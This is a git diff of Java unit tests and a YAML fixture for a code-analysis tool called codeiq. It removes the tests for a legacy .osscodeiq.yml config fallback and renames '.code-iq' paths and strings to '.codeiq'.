--- a/src/test/java/io/github/randomcodespace/iq/config/ProjectConfigLoaderTest.java
+++ b/src/test/java/io/github/randomcodespace/iq/config/ProjectConfigLoaderTest.java
@@ -4,128 +4,23 @@
 import org.junit.jupiter.api.Test;
 import org.junit.jupiter.api.io.TempDir;
 
-import java.io.IOException;
-import java.nio.charset.StandardCharsets;
 import java.nio.file.Files;
 import java.nio.file.Path;
 
 import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.junit.jupiter.api.Assertions.assertFalse;
-import static org.junit.jupiter.api.Assertions.assertNull;
-import static org.junit.jupiter.api.Assertions.assertTrue;
 
 class ProjectConfigLoaderTest {
 
-    // ---- New LoadResult-based API (Task 12: .osscodeiq.yml deprecation shim) ----
-
     @Test
-    void preferCodeiqYmlWhenBothPresent(@TempDir Path repo) throws Exception {
+    void loadsCodeiqYmlWhenPresent(@TempDir Path repo) throws Exception {
         Files.writeString(repo.resolve("codeiq.yml"), "serving:\n  port: 9000\n");
-        Files.writeString(repo.resolve(".osscodeiq.yml"), "serving:\n  port: 9999\n");
         ProjectConfigLoader.LoadResult r = new ProjectConfigLoader().loadFrom(repo);
         assertEquals(9000, r.config().serving().port());
-        assertFalse(r.deprecationWarningEmitted());
-    }
-
-    @Test
-    void fallsBackToOsscodeIqWithWarn(@TempDir Path repo) throws Exception {
-        Files.writeString(repo.resolve(".osscodeiq.yml"), "serving:\n  port: 8888\n");
-        ProjectConfigLoader.LoadResult r = new ProjectConfigLoader().loadFrom(repo);
-        assertEquals(8888, r.config().serving().port());
-        assertTrue(r.deprecationWarningEmitted(),
-                "must emit a migration warning when falling back to .osscodeiq.yml");
     }
 
     @Test
-    void neitherFilePresentReturnsEmptyConfig(@TempDir Path repo) {
+    void noFilePresentReturnsEmptyConfig(@TempDir Path repo) {
         ProjectConfigLoader.LoadResult r = new ProjectConfigLoader().loadFrom(repo);
         assertEquals(CodeIqUnifiedConfig.empty(), r.config());
-        assertFalse(r.deprecationWarningEmitted());
-    }
-
-    @Test
-    void fallbackOsscodeiqWithFlatKeysTranslatesToUnifiedOverlay(@TempDir Path repo) throws Exception {
-        String yaml = """
-                max_depth: 25
-                max_radius: 8
-                cache_dir: .custom-cache
-                root_path: /repo
-                """;
-        Files.writeString(repo.resolve(".osscodeiq.yml"), yaml);
-
-        ProjectConfigLoader.LoadResult r = new ProjectConfigLoader().loadFrom(repo);
-
-        assertEquals(25, r.config().indexing().maxDepth());
-        assertEquals(8, r.config().indexing().maxRadius());
-        assertEquals(".custom-cache", r.config().indexing().cacheDir());
-        assertEquals("/repo", r.config().project().root());
-        assertTrue(r.deprecationWarningEmitted(),
-                "must emit a migration warning when falling back to .osscodeiq.yml");
-    }
-
-    @Test
-    void fallbackOsscodeiqWithNewShapeStillWorks(@TempDir Path repo) throws Exception {
-        // A .osscodeiq.yml that has already been rewritten in the new nested schema
-        // (e.g., a user renamed codeiq.yml back, or copy-pasted the new sample) must
-        // continue to work — delegate to UnifiedConfigLoader, still warn.
-        Files.writeString(repo.resolve(".osscodeiq.yml"), "serving:\n  port: 9999\n");
-
-        ProjectConfigLoader.LoadResult r = new ProjectConfigLoader().loadFrom(repo);
-
-        assertEquals(9999, r.config().serving().port());
-        assertTrue(r.deprecationWarningEmitted());
-    }
-
-    @Test
-    void mixedLegacyFlatAndNestedKeysPrefersLegacyPath(@TempDir Path repo) throws Exception {
-        // Documented behavior (see javadoc on ProjectConfigLoader#readAndTranslateLegacy):
-        // presence of ANY legacy flat key at the root triggers the legacy translator,
-        // so flat values are honored. Nested sections that lack a flat equivalent
-        // (serving / mcp / observability / detectors) are intentionally NOT read in the
-        // legacy-mixed case — a pure new-shape file should drop the flat keys first.
-        String yaml = """
-                max_depth: 25
-                indexing:
-                  batch_size: 100
-                """;
-        Files.writeString(repo.resolve(".osscodeiq.yml"), yaml);
-
-        ProjectConfigLoader.LoadResult r = new ProjectConfigLoader().loadFrom(repo);
-
-        assertEquals(25, r.config().indexing().maxDepth(),
-                "flat max_depth must translate even when a nested indexing block is present");
-        // In legacy-mixed mode, pipeline.batch-size (legacy schema) is the batch-size
-        // source; a bare `indexing.batch_size` nested block is intentionally ignored.
-        assertNull(r.config().indexing().batchSize(),
-                "nested indexing.batch_size is not honored in legacy-mixed mode (documented)");
-        assertTrue(r.deprecationWarningEmitted());
-    }
-
-    // ---- Legacy file-read robustness on the canonical loadFrom() path ---------
-
-    @Test
-    void emptyLegacyFileReturnsEmptyOverlay(@TempDir Path tempDir) throws IOException {
-        // Empty .osscodeiq.yml parses to null; loadFrom must treat it as "no
-        // overlay" rather than crashing. The deprecation WARN still fires
-        // because a (zero-byte) legacy file was present on disk.
-        Files.writeString(tempDir.resolve(".osscodeiq.yml"), "", StandardCharsets.UTF_8);
-
-        ProjectConfigLoader.LoadResult r = new ProjectConfigLoader().loadFrom(tempDir);
-        assertEquals(CodeIqUnifiedConfig.empty(), r.config());
-        assertTrue(r.deprecationWarningEmitted(),
-                ".osscodeiq.yml presence (even empty) must emit a deprecation warning");
-    }
-
-    @Test
-    void invalidYamlInLegacyFileDoesNotCrash(@TempDir Path tempDir) throws IOException {
-        // Malformed YAML in the legacy file must not bubble up as an unchecked
-        // exception. The legacy-translation path logs a WARN and returns empty.
-        Files.writeString(tempDir.resolve(".osscodeiq.yml"),
-                "{{invalid yaml content", StandardCharsets.UTF_8);
-
-        ProjectConfigLoader.LoadResult r = new ProjectConfigLoader().loadFrom(tempDir);
-        assertEquals(CodeIqUnifiedConfig.empty(), r.config(),
-                "malformed legacy YAML must produce an empty overlay, not a crash");
-        assertTrue(r.deprecationWarningEmitted());
     }
 }
diff --git a/src/test/java/io/github/randomcodespace/iq/config/UnifiedConfigAdapterTest.java b/src/test/java/io/github/randomcodespace/iq/config/UnifiedConfigAdapterTest.java
index dd5501a0..0047837c 100644
--- a/src/test/java/io/github/randomcodespace/iq/config/UnifiedConfigAdapterTest.java
+++ b/src/test/java/io/github/randomcodespace/iq/config/UnifiedConfigAdapterTest.java
@@ -25,8 +25,8 @@ void adapterProjectsUnifiedValuesIntoLegacyApi() {
         CodeIqConfig legacy = UnifiedConfigAdapter.toCodeIqConfig(u);
 
         assertEquals(".", legacy.getRootPath());
-        assertEquals(".code-iq/cache", legacy.getCacheDir());
-        assertEquals(".code-iq/graph/graph.db", legacy.getGraph().getPath());
+        assertEquals(".codeiq/cache", legacy.getCacheDir());
+        assertEquals(".codeiq/graph/graph.db", legacy.getGraph().getPath());
         assertEquals(500, legacy.getBatchSize());
         assertFalse(legacy.isReadOnly());
         // maxDepth and maxRadius flow through builtIn() matching application.yml
diff --git a/src/test/java/io/github/randomcodespace/iq/config/UnifiedConfigBeansTest.java b/src/test/java/io/github/randomcodespace/iq/config/UnifiedConfigBeansTest.java
index 31828b37..32643e8d 100644
--- a/src/test/java/io/github/randomcodespace/iq/config/UnifiedConfigBeansTest.java
+++ b/src/test/java/io/github/randomcodespace/iq/config/UnifiedConfigBeansTest.java
@@ -54,8 +54,8 @@ void defaultsMatchHistoricalApplicationYmlValues() {
             CodeIqConfig legacy = ctx.getBean(CodeIqConfig.class);
             // These values came from application.yml pre-Task-11; they must still
             // be what CodeIqConfig exposes now that wiring goes through ConfigDefaults.
-            assertEquals(".code-iq/cache", legacy.getCacheDir());
-            assertEquals(".code-iq/graph/graph.db", legacy.getGraph().getPath());
+            assertEquals(".codeiq/cache", legacy.getCacheDir());
+            assertEquals(".codeiq/graph/graph.db", legacy.getGraph().getPath());
             assertEquals(10, legacy.getMaxDepth());
             assertEquals(10, legacy.getMaxRadius());
             assertEquals(500, legacy.getBatchSize());
diff --git a/src/test/java/io/github/randomcodespace/iq/config/unified/ConfigDefaultsTest.java b/src/test/java/io/github/randomcodespace/iq/config/unified/ConfigDefaultsTest.java
index 9dd81ba1..2dd9ee15 100644
--- a/src/test/java/io/github/randomcodespace/iq/config/unified/ConfigDefaultsTest.java
+++ b/src/test/java/io/github/randomcodespace/iq/config/unified/ConfigDefaultsTest.java
@@ -9,7 +9,7 @@ void builtInHasKnownFieldValues() {
         CodeIqUnifiedConfig d = ConfigDefaults.builtIn();
         // These reflect values from application.yml + CLI flag defaults today.
         assertEquals(".", d.project().root());
-        assertEquals(".code-iq/cache", d.indexing().cacheDir());
+        assertEquals(".codeiq/cache", d.indexing().cacheDir());
         assertEquals(500, d.indexing().batchSize());
         assertEquals(true, d.indexing().incremental());
         // Phase-B extension: parallelism defaults to null (= auto-detect at runtime);
@@ -21,7 +21,7 @@ void builtInHasKnownFieldValues() {
         assertEquals(8080, d.serving().port());
         assertEquals("0.0.0.0", d.serving().bindAddress());
         assertEquals(false, d.serving().readOnly());
-        assertEquals(".code-iq/graph/graph.db", d.serving().neo4j().dir());
+        assertEquals(".codeiq/graph/graph.db", d.serving().neo4j().dir());
         assertEquals(true, d.mcp().enabled());
         assertEquals("http", d.mcp().transport());
         assertEquals("/mcp", d.mcp().basePath());
diff --git a/src/test/java/io/github/randomcodespace/iq/config/unified/UnifiedConfigLoaderTest.java b/src/test/java/io/github/randomcodespace/iq/config/unified/UnifiedConfigLoaderTest.java
index a11e1bb7..b9c8b06c 100644
--- a/src/test/java/io/github/randomcodespace/iq/config/unified/UnifiedConfigLoaderTest.java
+++ b/src/test/java/io/github/randomcodespace/iq/config/unified/UnifiedConfigLoaderTest.java
@@ -51,7 +51,7 @@ void fullFileRoundTripsEveryField() {
         assertEquals(9090, cfg.serving().port());
         assertEquals("127.0.0.1", cfg.serving().bindAddress());
         assertEquals(true, cfg.serving().readOnly());
-        assertEquals(".code-iq/graph/graph.db", cfg.serving().neo4j().dir());
+        assertEquals(".codeiq/graph/graph.db", cfg.serving().neo4j().dir());
         assertEquals(2048, cfg.serving().neo4j().heapMaxMb());
         assertEquals(10000, cfg.mcp().limits().perToolTimeoutMs());
         assertEquals(List.of("run_cypher"), cfg.mcp().tools().disabled());
diff --git a/src/test/java/io/github/randomcodespace/iq/intelligence/evidence/EvidencePackAssemblerExtendedTest.java b/src/test/java/io/github/randomcodespace/iq/intelligence/evidence/EvidencePackAssemblerExtendedTest.java
index c899adba..0647ecdc 100644
--- a/src/test/java/io/github/randomcodespace/iq/intelligence/evidence/EvidencePackAssemblerExtendedTest.java
+++ b/src/test/java/io/github/randomcodespace/iq/intelligence/evidence/EvidencePackAssemblerExtendedTest.java
@@ -69,7 +69,7 @@ void setUp() {
         assembler = new EvidencePackAssembler(lexicalQueryService, snippetStore, queryPlanner, config, graphStore);
         metadata = new ArtifactMetadata(
                 "https://github.com/example/repo", "abc123", Instant.now(),
-                "1", "2", Map.of("code-iq", "1.0"), Map.of(), "deadbeef");
+                "1", "2", Map.of("codeiq", "1.0"), Map.of(), "deadbeef");
     }
 
     // ---- filePath as subject when symbol is null or blank ----------
diff --git a/src/test/java/io/github/randomcodespace/iq/intelligence/evidence/EvidencePackAssemblerTest.java b/src/test/java/io/github/randomcodespace/iq/intelligence/evidence/EvidencePackAssemblerTest.java
index 1484cd6c..8febbbe6 100644
--- a/src/test/java/io/github/randomcodespace/iq/intelligence/evidence/EvidencePackAssemblerTest.java
+++ b/src/test/java/io/github/randomcodespace/iq/intelligence/evidence/EvidencePackAssemblerTest.java
@@ -50,7 +50,7 @@ void setUp() {
         assembler = new EvidencePackAssembler(lexicalQueryService, snippetStore, queryPlanner, config, graphStore);
         metadata = new ArtifactMetadata(
                 "https://github.com/example/repo", "abc123", Instant.now(),
-                "1", "2", Map.of("code-iq", "1.0"),
+                "1", "2", Map.of("codeiq", "1.0"),
                 Map.of(), "deadbeef");
     }
 
diff --git a/src/test/java/io/github/randomcodespace/iq/intelligence/provenance/ArtifactMetadataTest.java b/src/test/java/io/github/randomcodespace/iq/intelligence/provenance/ArtifactMetadataTest.java
index 371a2792..67290d7f 100644
--- a/src/test/java/io/github/randomcodespace/iq/intelligence/provenance/ArtifactMetadataTest.java
+++ b/src/test/java/io/github/randomcodespace/iq/intelligence/provenance/ArtifactMetadataTest.java
@@ -60,7 +60,7 @@ void computeIntegrityHashNullAndEmptyCommitShaDiffer() {
     @Test
     void recordConstructorAndAccessors() {
         Instant now = Instant.now();
-        Map<String, String> extractors = Map.of("code-iq", "phase-4");
+        Map<String, String> extractors = Map.of("codeiq", "phase-4");
         Map<String, Map<String, CapabilityLevel>> caps = Map.of();
 
         ArtifactMetadata meta = new ArtifactMetadata(
diff --git a/src/test/java/io/github/randomcodespace/iq/mcp/McpToolsEvidenceTest.java b/src/test/java/io/github/randomcodespace/iq/mcp/McpToolsEvidenceTest.java
index 902dcfad..1f2ccf5a 100644
--- a/src/test/java/io/github/randomcodespace/iq/mcp/McpToolsEvidenceTest.java
+++ b/src/test/java/io/github/randomcodespace/iq/mcp/McpToolsEvidenceTest.java
@@ -45,7 +45,7 @@ void setUp() {
         CodeIqConfig config = new CodeIqConfig();
         metadata = new ArtifactMetadata(
                 "https://github.com/example/repo", "sha456", Instant.now(),
-                "1", "2", Map.of("code-iq", "1.0"),
+                "1", "2", Map.of("codeiq", "1.0"),
                 Map.of(), "cafebabe");
         org.mockito.Mockito.lenient().when(metadataProvider.current()).thenReturn(metadata);
 
diff --git a/src/test/java/io/github/randomcodespace/iq/mcp/McpToolsExpandedTest.java b/src/test/java/io/github/randomcodespace/iq/mcp/McpToolsExpandedTest.java
index 620c9721..cc4a6d8f 100644
--- a/src/test/java/io/github/randomcodespace/iq/mcp/McpToolsExpandedTest.java
+++ b/src/test/java/io/github/randomcodespace/iq/mcp/McpToolsExpandedTest.java
@@ -273,7 +273,7 @@ private CodeNode makeServiceNode(String id, String name) {
 
     @Test
     void serviceDetailShouldReturnErrorWhenNoData() throws IOException {
-        when(graphStore.findAll()).thenThrow(new RuntimeException("No analysis data available. Run 'code-iq analyze' first."));
+        when(graphStore.findAll()).thenThrow(new RuntimeException("No analysis data available. Run 'codeiq analyze' first."));
         String result = mcpTools.serviceDetail("my-service");
         Map<String, Object> parsed = parseJson(result);
         assertNotNull(parsed.get("error"));
@@ -281,7 +281,7 @@ void serviceDetailShouldReturnErrorWhenNoData() throws IOException {
 
     @Test
     void serviceDependenciesShouldReturnErrorWhenNoData() throws IOException {
-        when(graphStore.findAll()).thenThrow(new RuntimeException("No analysis data available. Run 'code-iq analyze' first."));
+        when(graphStore.findAll()).thenThrow(new RuntimeException("No analysis data available. Run 'codeiq analyze' first."));
         String result = mcpTools.serviceDependencies("my-service");
         Map<String, Object> parsed = parseJson(result);
         assertNotNull(parsed.get("error"));
@@ -289,7 +289,7 @@ void serviceDependenciesShouldReturnErrorWhenNoData() throws IOException {
 
     @Test
     void serviceDependentsShouldReturnErrorWhenNoData() throws IOException {
-        when(graphStore.findAll()).thenThrow(new RuntimeException("No analysis data available. Run 'code-iq analyze' first."));
+        when(graphStore.findAll()).thenThrow(new RuntimeException("No analysis data available. Run 'codeiq analyze' first."));
         String result = mcpTools.serviceDependents("my-service");
         Map<String, Object> parsed = parseJson(result);
         assertNotNull(parsed.get("error"));
@@ -297,7 +297,7 @@ void serviceDependentsShouldReturnErrorWhenNoData() throws IOException {
 
     @Test
     void blastRadiusShouldReturnErrorWhenNoData() throws IOException {
-        when(graphStore.findAll()).thenThrow(new RuntimeException("No analysis data available. Run 'code-iq analyze' first."));
+        when(graphStore.findAll()).thenThrow(new RuntimeException("No analysis data available. Run 'codeiq analyze' first."));
         String result = mcpTools.blastRadius("node-1");
         Map<String, Object> parsed = parseJson(result);
         assertNotNull(parsed.get("error"));
@@ -305,7 +305,7 @@ void blastRadiusShouldReturnErrorWhenNoData() throws IOException {
 
     @Test
     void findPathShouldReturnErrorWhenNoData() throws IOException {
-        when(graphStore.findAll()).thenThrow(new RuntimeException("No analysis data available. Run 'code-iq analyze' first."));
+        when(graphStore.findAll()).thenThrow(new RuntimeException("No analysis data available. Run 'codeiq analyze' first."));
         String result = mcpTools.findPath("service-a", "service-b");
         Map<String, Object> parsed = parseJson(result);
         assertNotNull(parsed.get("error"));
@@ -313,7 +313,7 @@ void findPathShouldReturnErrorWhenNoData() throws IOException {
 
     @Test
     void findBottlenecksShouldReturnErrorWhenNoData() throws IOException {
-        when(graphStore.findAll()).thenThrow(new RuntimeException("No analysis data available. Run 'code-iq analyze' first."));
+        when(graphStore.findAll()).thenThrow(new RuntimeException("No analysis data available. Run 'codeiq analyze' first."));
         String result = mcpTools.findBottlenecks();
         Map<String, Object> parsed = parseJson(result);
         assertNotNull(parsed.get("error"));
@@ -321,7 +321,7 @@ void findBottlenecksShouldReturnErrorWhenNoData() throws IOException {
 
     @Test
     void findCircularDepsShouldReturnErrorWhenNoData() throws IOException {
-        when(graphStore.findAll()).thenThrow(new RuntimeException("No analysis data available. Run 'code-iq analyze' first."));
+        when(graphStore.findAll()).thenThrow(new RuntimeException("No analysis data available. Run 'codeiq analyze' first."));
         String result = mcpTools.findCircularDeps();
         Map<String, Object> parsed = parseJson(result);
         assertNotNull(parsed.get("error"));
@@ -329,7 +329,7 @@ void findCircularDepsShouldReturnErrorWhenNoData() throws IOException {
 
     @Test
     void findDeadServicesShouldReturnErrorWhenNoData() throws IOException {
-        when(graphStore.findAll()).thenThrow(new RuntimeException("No analysis data available. Run 'code-iq analyze' first."));
+        when(graphStore.findAll()).thenThrow(new RuntimeException("No analysis data available. Run 'codeiq analyze' first."));
         String result = mcpTools.findDeadServices();
         Map<String, Object> parsed = parseJson(result);
         assertNotNull(parsed.get("error"));
@@ -337,7 +337,7 @@ void findDeadServicesShouldReturnErrorWhenNoData() throws IOException {
 
     @Test
     void findNodeShouldReturnErrorWhenNoData() throws IOException {
-        when(graphStore.findAll()).thenThrow(new RuntimeException("No analysis data available. Run 'code-iq analyze' first."));
+        when(graphStore.findAll()).thenThrow(new RuntimeException("No analysis data available. Run 'codeiq analyze' first."));
         String result = mcpTools.findNode("UserService");
         Map<String, Object> parsed = parseJson(result);
         assertNotNull(parsed.get("error"));
diff --git a/src/test/resources/config-unified/full.yml b/src/test/resources/config-unified/full.yml
index d84b48b4..f12fe0d8 100644
--- a/src/test/resources/config-unified/full.yml
+++ b/src/test/resources/config-unified/full.yml
@@ -13,7 +13,7 @@ indexing:
   languages: [java, typescript]
   exclude: ['**/generated/**']
   incremental: true
-  cache_dir: .code-iq/cache
+  cache_dir: .codeiq/cache
   parallelism: 8
   batch_size: 500
   parsers: [javaparser, antlr]
@@ -22,7 +22,7 @@ serving:
   bind_address: 127.0.0.1
   read_only: true
   neo4j:
-    dir: .code-iq/graph/graph.db
+    dir: .codeiq/graph/graph.db
     page_cache_mb: 512
     heap_initial_mb: 256
     heap_max_mb: 2048